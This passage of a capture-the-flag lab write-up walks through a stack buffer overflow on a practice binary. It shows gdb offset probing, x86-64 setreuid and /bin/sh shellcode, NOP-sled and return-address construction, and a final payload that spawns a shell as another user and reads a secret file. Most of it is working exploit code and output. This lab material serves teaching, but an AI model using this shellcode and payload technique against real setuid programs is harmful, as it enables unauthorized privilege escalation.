Program received signal SIGSEGV, Segmentation fault.
0x0000000000414141 in ?? ()
(gdb) run $(python -c "print 'A'*(154-5+6+12)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print 'A'*(154-5+6+12)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000000041414141 in ?? ()
(gdb) run $(python -c "print 'A'*(154-5+6+13)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print 'A'*(154-5+6+13)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000004141414141 in ?? ()
Program received signal SIGSEGV, Segmentation fault.
0x0000004141414141 in ?? ()
(gdb) run $(python -c "print 'A'*(154-5+6+14)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print 'A'*(154-5+6+14)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) run $(python -c "print 'A'*(154-5+6+15)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print 'A'*(154-5+6+15)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x00000000004005ab in concat_arg ()
Once we have 6 x A's (\x41
) in the return address when the application crashes we have successfully, fully overwritten the EIP (Extended Instruction Pointer i.e. the "what do I execute next?" instruction register). You can see if we go 1 byte
over, the crashed EIP register is showing no A
's at all, so our payload has over shot it.
Payload = 154-5+6+14 = 169
so our entire payload going forward, must always be a total of 169 bytes
to correctly overwrite the EIP so it points to our shellcode.
Shellcode
We need 2 x particular kinds of shellcode here, 1) /bin/sh
shellcode to drop us into a shell and 2) setreuid
shellcode to set our UID to that of the user we're trying to have the permissions for.
/bin/sh
= \x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
shellcode + pwntools
We want shellcode that calls setreuid
to set our uid=1003
i.e. user3
permissions.
$ pwn shellcraft -f d amd64.linux.setreuid 1003
\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05
total length of shellcode:
Python 2.7.16 (default, Jul 19 2019, 23:05:17)
[GCC 7.3.1 20180712 (Red Hat 7.3.1-6)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> len('\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05')
54
Our new equation is now: NOP + shellcode + pad + return_address = 169
, which is NOP + 54 + 15 + 6 = 169
, so NOP=94
.
Let's write our payload against bytes, payload = '\x90'*94 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x42'*15 + '\x41'*6
NOP sled + Return Address
The 6 * \x41
's at the end are just a place holder for the return address we want- which is the address of the start of our shellcode.
How we find the a return address that will hit the start of our shellcode?
(gdb) run $(python -c "print '\x90'*94 + '\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x42'*15 + 'A'*6")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print '\x90'*94 + '\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x42'*15 + 'A'*6")
new word is doggo1fjqXHj;XH1I//bin/shAPHRWHj<XH1BBBBBBBBBBBBAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) x/100x $rsp-200
0x7fffffffe8c8: 0x004005a9 0x00000000 0xf7ffa268 0x00007fff
0x7fffffffe8d8: 0xffffecea 0x00007fff 0x67676f64 0x9090906f
0x7fffffffe8e8: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe8f8: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe908: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe918: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe928: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe938: 0x90909090 0x90909090 0x90909090 0xff319090
0x7fffffffe948: 0x03eabf66 0x4858716a 0x050ffe89 0x48583b6a
0x7fffffffe958: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
0x7fffffffe968: 0x89485041 0x485752e7 0x050fe689 0x48583c6a
0x7fffffffe978: 0x050fff31 0x42424242 0x42424242 0x42424242
0x7fffffffe988: 0x41414141 0x00004141 0xffffea88 0x00007fff
0x7fffffffe998: 0x00000000 0x00000002 0x004005e0 0x00000000
0x7fffffffe9a8: 0xf7a4302a 0x00007fff 0x00000000 0x00000000
0x7fffffffe9b8: 0xffffea88 0x00007fff 0x00040000 0x00000002
0x7fffffffe9c8: 0x004005ac 0x00000000 0x00000000 0x00000000
0x7fffffffe9d8: 0x794daa23 0x97320a39 0x00400450 0x00000000
0x7fffffffe9e8: 0xffffea80 0x00007fff 0x00000000 0x00000000
0x7fffffffe9f8: 0x00000000 0x00000000 0xa1edaa23 0x68cdf546
0x7fffffffea08: 0x2d49aa23 0x68cde5f1 0x00000000 0x00000000
0x7fffffffea18: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffea28: 0xffffeaa0 0x00007fff 0xf7ffe130 0x00007fff
0x7fffffffea38: 0xf7de7656 0x00007fff 0x00000000 0x00000000
0x7fffffffea48: 0x00000000 0x00000000 0x00000000 0x00000000
Pick any address that's full of NOPs (\x90) e.g. 0x7f ff ff ff e8 f8
in little edian format, our return address example would look like this \xf8\xe8\xff\xff\xff\x7f
Final Payload
Let's recap, we now have:
- the offset (169)
- the pad (15)
- the NOP sled (94)
- our shellcode (54)
- the return address that hits the start of our shellcode (6)
Payload = '\x90'*94 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x42'*15 + '\x18\xe9\xff\xff\xff\x7f'
Capture the Flag
We take the Payload from above, and run it on the CLI against the bufferoverflow-2
application like so:
[user1@ip-10-10-50-188 overflow-4]$ ./buffer-overflow-2 $(python -c "print '\x90'*94 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x42'*15 + '\x18\xe9\xff\xff\xff\x7f'")
new word is doggo1fjqXHj;XH1I//bin/shAPHRWHj<XH1BBBBBBBBBBBB
sh-4.2$ id
uid=1003(user3) gid=1001(user1) groups=1001(user1)
sh-4.2$ cat secret.txt
wowanothertime!!
Success!
shellcode for setreuid
apparently doesn't work inside gdb/r2, you must deliver the payload directly to the binary, outside of a debugger.
(gdb) run $(python -c "print '\x90'*94 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x42'*15 + '\x18\xe9\xff\xff\xff\x7f'")
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print '\x90'*94 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x42'*15 + '\x18\xe9\xff\xff\xff\x7f'")
Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64
new word is doggo1fjqXHj;XH1I//bin/shAPHRWHj<XH1BBBBBBBBBBBB
process 3400 is executing new program: /usr/bin/bash
sh-4.2$ id
Detaching after fork from child process 3406.
uid=1001(user1) gid=1001(user1) groups=1001(user1)
sh-4.2$